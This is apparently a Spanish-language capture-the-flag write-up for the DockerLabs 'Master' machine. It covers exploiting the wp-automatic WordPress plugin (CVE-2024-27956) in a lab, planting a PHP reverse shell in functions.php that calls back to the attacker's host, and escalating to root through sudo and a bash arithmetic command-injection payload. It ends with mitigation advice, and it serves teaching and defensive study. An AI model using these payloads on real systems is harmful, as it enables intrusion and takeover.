Master
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina Master, desarrollada por Pylon & El Pingüino de Mario para la plataforma DockerLabs, clasificada con una dificultad Media.
El objetivo del laboratorio es comprometer un servidor WordPress vulnerable mediante la enumeración del servicio web, la identificación de un plugin desactualizado con una vulnerabilidad crítica, la obtención de ejecución remota de comandos desde el panel administrativo y una cadena de escalada de privilegios basada en configuraciones inseguras de sudo y scripts mal implementados.
La metodología empleada se divide en los siguientes pasos:
- Reconocimiento: enumeración del servicio HTTP y análisis de componentes del CMS.
- Explotación: abuso de una vulnerabilidad crítica en un plugin de WordPress para obtener acceso administrativo y ejecución de código.
- Escalada de privilegios: encadenamiento de permisos
sudoinseguros hasta obtener acceso comoroot.
El laboratorio se realizó íntegramente dentro del entorno controlado proporcionado por DockerLabs, con fines exclusivamente educativos.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | Master |
| Autor | Pylon & El Pingüino de Mario |
| Dificultad | Medio |
| Fecha | 12/05/2024 |
| Plataforma | DockerLabs |
| IP Objetivo | 172.17.0.2 |
Paso 0 — Despliegue y preparación
Sección titulada «Paso 0 — Despliegue y preparación»Se descomprime el archivo de la máquina y se despliega utilizando el script proporcionado:
unzip Master.zipsudo bash auto_deploy.sh Master.tar
Figura 1: Dirección IP asignada al contenedor
Se prepara una estructura de directorios para organizar el trabajo:
mkdir -p Master/{content,exploits,nmap,scripts}cd MasterPaso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Escaneo de puertos
Sección titulada «1.1 Escaneo de puertos»Se realiza un escaneo completo de puertos TCP para identificar los servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos abiertos identificados:
- 80/tcp — HTTP

1.2 Enumeración web
Sección titulada «1.2 Enumeración web»Se realiza un escaneo de directorios y archivos utilizando feroxbuster:
feroxbuster -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,html,txt,js -t 100 -C 404No se identifican rutas personalizadas relevantes; únicamente se observan directorios típicos de WordPress. Al revisar la página principal se obtiene el siguiente contenido:

Un detalle importante es la exposición directa de información sobre los plugins instalados:

En este punto se identifica el plugin wp-automatic versión 3.92.0, versión que cuenta con una vulnerabilidad crítica conocida y documentada públicamente.
Paso 2 — Explotación (Acceso inicial)
Sección titulada «Paso 2 — Explotación (Acceso inicial)»Tras identificar la versión del plugin wp-automatic, se investiga su estado de seguridad. La versión 3.92.0 es vulnerable a CVE-2024-27956, una vulnerabilidad crítica que permite a un atacante crear usuarios administradores de forma no autenticada.
Explicación de la vulnerabilidad
Sección titulada «Explicación de la vulnerabilidad»El plugin wp-automatic no valida correctamente las solicitudes a determinados endpoints internos utilizados para la automatización de contenido. Un atacante puede enviar una petición especialmente diseñada que:
- Evade los mecanismos de autenticación del plugin.
- Inserta directamente un nuevo usuario en la base de datos de WordPress.
- Asigna privilegios de administrador al usuario creado.
Esto permite el acceso completo al panel administrativo (/wp-admin) sin necesidad de credenciales previas, lo que deriva directamente en una ejecución remota de código (RCE) al poder editar archivos del tema activo.
Se utiliza el siguiente exploit público:
URL = CVE-2024-27956 – wp-automatic RCE
Se ejecuta el exploit:
python3 exploit.py http://172.17.0.2/El exploit se ejecuta correctamente y crea las credenciales administrativas:
eviladmin:adminCon estas credenciales se accede al panel /wp-admin:

2.1 Obtención de reverse shell
Sección titulada «2.1 Obtención de reverse shell»Se inicia un listener en la máquina atacante:
nc -nlvp 443Desde el panel administrativo de WordPress, se accede a:
Appearance → Theme File Editor → functions.php
Se inyecta la siguiente reverse shell en PHP:
$sock=fsockopen("172.17.0.1",443);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);Al guardar los cambios, se obtiene una conexión entrante como el usuario www-data:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De www-data → pylon
Sección titulada «3.1 De www-data → pylon»Se revisan los permisos de sudo:

El usuario www-data puede ejecutar php como el usuario pylon. Esto permite ejecutar comandos arbitrarios:
sudo -u pylon php -r "system('/bin/bash');"
3.2 De pylon → mario
Sección titulada «3.2 De pylon → mario»Se revisan nuevamente los permisos sudo:

El usuario pylon puede ejecutar el script pingusorpresita.sh como el usuario mario. El script no sanitiza correctamente la entrada del usuario, lo que permite inyección de comandos.
Ejecutando el script y aprovechando la vulnerabilidad:
sudo -u mario bash /home/mario/pingusorpresita.shtest[$(/bin/bash >&2)]+1Se obtiene acceso como mario:

3.3 De mario → root
Sección titulada «3.3 De mario → root»El usuario mario puede ejecutar el script pylonsorpresita.sh como root:

El script presenta el mismo fallo de validación de entrada, por lo que se reutiliza la técnica anterior:
sudo bash /home/pylon/pylonsorpresita.shtest[$(/bin/bash >&2)]+1Esto otorga acceso completo como root:

Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto |
|---|---|---|
Plugin WordPress vulnerable (wp-automatic) | Crítica | Creación de usuarios admin / RCE |
| Divulgación de versiones de plugins | Media | Facilita explotación dirigida |
| Ejecución de código desde el panel administrativo | Alta | Compromiso del servidor web |
Permisos sudo mal configurados | Crítica | Escalada de privilegios encadenada |
| Scripts bash sin validación de entrada | Alta | Inyección de comandos |
Recomendaciones de Mitigación
Sección titulada «Recomendaciones de Mitigación»- Mantener WordPress y plugins actualizados.
- Evitar la exposición de versiones de componentes internos.
- Restringir el acceso al editor de archivos desde el panel administrativo.
- Aplicar el principio de mínimo privilegio en configuraciones de
sudo. - Validar adecuadamente la entrada de usuario en scripts ejecutados con privilegios elevados.
- Auditar periódicamente el sistema en busca de configuraciones inseguras.